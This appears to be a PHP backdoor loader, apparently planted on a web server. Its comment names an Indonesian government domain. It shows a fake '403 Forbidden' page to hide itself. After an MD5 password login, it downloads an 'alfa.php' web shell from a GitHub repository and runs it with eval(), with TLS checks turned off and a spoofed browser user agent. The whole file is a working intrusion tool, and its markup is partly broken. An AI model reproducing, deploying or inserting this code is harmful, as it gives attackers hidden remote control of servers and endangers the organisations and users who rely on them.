session_start();

// Mendapatkan informasi server
$server_software = $_SERVER['SERVER_SOFTWARE']; // Menampilkan jenis server seperti IIS, Apache, dll.
$host_name = $_SERVER['SERVER_NAME']; // Nama server atau domain
$server_port = $_SERVER['SERVER_PORT']; // Port yang digunakan
$server_protocol = $_SERVER['SERVER_PROTOCOL']; // Menampilkan HTTP/HTTPS

// Format server info seperti "Microsoft-IIS/8.0 Server at prodeskel.binapemdes.kemendagri.go.id Port 443"
$server_info = $server_software . ' Server at ' . $host_name . ' Port ' . $server_port;

/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging.
*/
function geturlsinfo($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

// Set cookies using session if available
if (isset($_SESSION['coki'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
}

$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}

// Function to check if the user is logged in
function is_logged_in()
{
return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

// Check if the password is submitted and correct
if (isset($_POST['password'])) {
$entered_password = $_POST['password'];
$hashed_password = '208becc799e24048a7540fd8417907ec'; // Replace this with your MD5 hashed password
if (md5($entered_password) === $hashed_password) {
// Password is correct, store it in session
$_SESSION['logged_in'] = true;
$_SESSION['coki'] = 'asu'; // Replace this with your cookie data
} else {
// Password is incorrect
echo "Incorrect password. Please try again.";
}
}

// Check if the user is logged in before executing the content
if (is_logged_in()) {
$a = geturlsinfo('https://raw.githubusercontent.com/studentWq/shell/refs/heads/main/alfa.php');
eval('' . $a);
} else {
// Display login form if not logged in

<!DOCTYPE html>
<html lang="id">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
403 Forbidden <title>403 Forbidden</title>
<link rel="stylesheet" href="styles.css">
<style>
.input-group label { font-size: 15px; color: #555; display: block; margin-bottom: 10px; }
.input-group input { width: 8%; padding: 1px; margin: 1px 0; border: 1px ; text-align: center; background-color:
rgba(255, 255, 255, 0);}
</style>


<div class="container">
<h1 class="error-code">Forbidden
<p class="error-message">You don't have permission to access this resource.</p>
<p class="error-description">Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDoc
ument to handle the request.</p>
<hr>
<p><i> echo $server_info; </i></p>
<!-- Form Login -->

<div class="input-group">
<label for="password"></label>

</div>



}